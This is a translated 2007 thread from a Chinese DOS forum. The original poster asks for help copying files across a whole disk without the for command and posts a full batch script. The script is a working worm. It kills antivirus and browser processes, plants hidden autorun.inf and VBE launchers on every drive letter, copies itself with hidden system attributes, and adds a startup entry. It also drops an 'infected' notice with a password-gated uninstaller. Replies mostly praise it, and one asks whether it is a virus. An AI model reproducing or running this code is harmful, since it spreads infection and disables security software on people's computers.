China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-13 07:00
中国DOS联盟论坛 » DOS学习入门 & 精彩文章 (教学室) » Can you copy all files in the entire disk by other methods besides using for? View 1,523 Replies 14
Original Poster Posted 2007-04-08 07:20 ·  中国 广东 肇庆 端州区 电信
初级用户
Credits 32
Posts 15
Joined 2007-04-02 01:05
19-year member
UID 83661
Gender Male
Status Offline
I've been learning DOS for a week and wrote the following code.

I saw a code for full-disk copying that didn't use the for command but was implemented using environment variables. But I don't know how to do it. Is there any expert who can give me some guidance? Thanks a lot.

@echo off
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
if exist %systemroot%\wataxiwabaka.txt (del %systemroot%\wataxiwabaka.txt&&goto end)
if exist %systemroot%\pujie.txt goto check ELSE goto start
:check
for /f "tokens=2-11 delims==" %%a in (%systemroot%\pujie.txt) do (If "%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j"=="diaonigehi" goto del)
:start
call:course>%systemroot%\course.txt
For /f "eol=: tokens=2* delims==" %%F in (%systemroot%\course.txt) do (taskkill /f /im %%F) >nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:read>%%F\作者的话.txt)>nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:inf>%%F\autorun.inf&attrib +a +s +h +r %%F\autorun.inf)>nul 2>nul
For %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:vbe>%%F\%~n0.vbe&attrib +a +s +h +r %%F\%~n0.vbe)>nul 2>nul
copy %~dpnx0 %systemroot%\
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (copy %systemroot%\%~nx0 %%F&&attrib +a +s +h +r %%F\%~xn0)>nul 2>nul
call:vbe2>"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe
start %systemroot%\%~n0.vbe
:vbe2
echo wscript.createobject("wscript.shell").run """%systemroot%\%~nx0"" /start",0
goto:diao>nul 2>nul
:inf
echo.
echo.open=wscript.exe %~n0.vbe
echo.shell\open\command=wscript.exe %~n0.vbe
echo.shell\explore\command=wscript.exe %~n0.vbe
echo.shell\find\command=wscript.exe %~n0.vbe
goto:diao>nul 2>nul
:vbe
echo wscript.createobject("wscript.shell").run """%~nx0"" /start",0
goto:diao>nul 2>nul
:course
echo course=RarStub.exe
echo course=RavTask.exe
echo course=Ravmon.exe
echo course=Ravmond.exe
:: Rising Antivirus
echo course=avgas.exe
:: AVG
echo course=Kpfwsvc.exe
echo course=kpfw32.exe
echo course=kavpew.exe
:: Kingsoft
echo course=360shell.exe
:: 360
echo course=qqdoctor.exe
:: QQ Doctor
echo course=iexplore.exe
:: IE
echo course=kmailmon.exe
echo course=kavstart.exe
echo course=kwatch.exe
:: Kingsoft
goto:diao>nul 2>nul
:read
echo. Hello, your computer has been infected with a virus. But don't be overly frightened. This virus has no destructive behavior, just for testing the code. If you can't delete this virus, please enable the self-contained uninstaller of this virus. You can create a document named wataxiwabaka.txt in %systemroot%. An uninstall prompt will pop up within 30 seconds. Thank you for your cooperation. Wish you a happy uninstallation.
goto:diao>nul 2>nul
:mima
echo.set /p mima="Please enter the password and press Enter to confirm:"
echo.pause
echo.if "%%mima%%"=="050353210" echo 正确^&^&pause^&^&goto call
echo.echo 错误
echo.pause
echo.goto:exit
echo.:call
echo.call:txt^>^%systemroot%\pujie.txt
echo.:txt
echo.echo 1=d=i=a=o=n=i=g=e=h=i
echo.:exit
echo.exit
goto:diao
:end
echo.@echo off>%systemroot%\mima.bat
call:mima >>%systemroot%\mima.bat
start %systemroot%\mima.bat
start %systemRoot%\%~n0.vbe
exit
:del
FOR %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D in (autorun.inf %~nx0 %~n0.vbe) DO attrib -s -h -a -r %%F\%%D)
FOR %%F IN (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D IN (autorun.inf %~nx0 %~n0.vbe 作者的话.txt) DO del %%F\%%D)
del %systemroot%\mima.bat
del %systemroot%\course.txt
del %systemroot%\pujie.txt
del %systemroot%\wataxiwabaka.txt
del /q "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
exit


[ Last edited by 421062724 on 2007-4-18 at 12:52 PM ]
Floor 2 Posted 2007-04-09 04:14 ·  中国 江西 宜春 樟树市 电信
新手上路
Credits 7
Posts 4
Joined 2007-04-09 01:10
19-year member
UID 84432
Gender Male
Status Offline
Give it a bump, haha
Floor 3 Posted 2007-04-09 07:16 ·  中国 广东 广州 电信
初级用户
Credits 90
Posts 40
Joined 2007-04-08 04:50
19-year member
UID 84350
Gender Male
From 广州
Status Offline
Wow, after learning for a week, you wrote this. I can't even understand it. It's amazing. I've been in touch with DOS for half a year and only know the DIR and COPY commands.

I agree
Floor 4 Posted 2007-04-10 10:28 ·  中国 湖北 襄阳 电信
新手上路
Credits 14
Posts 6
Joined 2007-04-04 03:17
19-year member
UID 83893
Gender Male
Status Offline
Floor 5 Posted 2007-04-13 00:20 ·  中国 安徽 芜湖 电信
高级用户
★★★
Credits 866
Posts 415
Joined 2005-12-04 11:19
20-year member
UID 46459
Status Offline
Excuse me, the original poster, do you want to write a virus? Can you "copy" files with the "+s +h +r" attributes?

It seems the original poster's VBS learning is also very good. With such achievements in such a short time, I admire you. ^O^

[ Last edited by htysm on 2007-4-19 at 03:49 AM ]
Floor 6 Posted 2007-04-13 11:17 ·  中国 江苏 苏州 移动
新手上路
Credits 4
Posts 2
Joined 2007-04-13 10:52
19-year member
UID 85010
Gender Male
Status Offline
Many who didn't study hard before should come to the top. Oh, a good place to study
Floor 7 Posted 2007-04-17 09:52 ·  中国 广东 肇庆 怀集县 电信
初级用户
Credits 32
Posts 15
Joined 2007-04-02 01:05
19-year member
UID 83661
Gender Male
Status Offline
I also want to make a change. I want to use the copy function of type instead of copy there.
Floor 8 Posted 2007-04-19 01:50 ·  中国 广东 肇庆 电信
初级用户
Credits 32
Posts 15
Joined 2007-04-02 01:05
19-year member
UID 83661
Gender Male
Status Offline
No one to help???
Floor 9 Posted 2007-04-20 11:13 ·  中国 河北 秦皇岛 电信
初级用户
Credits 68
Posts 32
Joined 2007-04-01 12:12
19-year member
UID 83621
Gender Male
Status Offline
Learning for a week and then creating something like this, it seems that a Chinese Einstein is born!
I can only understand about 70%, feeling depressed!
Floor 10 Posted 2007-04-20 22:28 ·  中国 江苏 苏州 联通
中级用户
★★
我是DOS学者
Credits 367
Posts 180
Joined 2006-05-14 10:53
20-year member
UID 55507
Gender Male
From 重庆
Status Offline
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")

The first part encounters difficulties. What is "%~dp0" in this segment? I saw this parameter for the first time.
Floor 11 Posted 2007-04-20 23:03 ·  中国 浙江 杭州 华数宽带
银牌会员
★★★
Credits 2,000
Posts 621
Joined 2007-01-01 00:00
19-year member
UID 75212
Gender Male
Status Offline
re: ls
If just telling you the answer might mean you only understand so little;
It's better to tell you to run hh ntcmds.chm to find for
Floor 12 Posted 2007-04-22 11:02 ·  中国 广东 肇庆 端州区 电信
初级用户
Credits 32
Posts 15
Joined 2007-04-02 01:05
19-year member
UID 83661
Gender Male
Status Offline
Thanks to the experts for the guidance, and I'm continuing to work hard. Because I'm a student and usually live in school, I don't have much time to study. But I'll keep working hard. Thanks to everyone's suggestions and help.
Floor 13 Posted 2007-04-22 23:54 ·  中国 湖北 武汉 硚口区 电信
中级用户
★★
Credits 210
Posts 79
Joined 2007-04-14 10:49
19-year member
UID 85130
Gender Male
From 湖北
Status Offline
I agree! I'm also a newbie.
Floor 14 Posted 2007-08-10 21:40 ·  中国 安徽 蚌埠 电信
初级用户
Credits 52
Posts 26
Joined 2007-08-09 02:27
19-year member
UID 94866
Gender Male
Status Offline
NB is too awesome. One week?????
You put "awesome" on your mouth!

You are a master, don't show off your study time. It makes me start to doubt my own IQ. I'm really hurt by you!
Floor 15 Posted 2007-08-11 15:34 ·  中国 广东 深圳 电信
初级用户
★★
Credits 135
Posts 64
Joined 2006-12-20 04:35
19-year member
UID 74003
Gender Male
Status Offline
I can't understand what's so great about it
Forum Jump: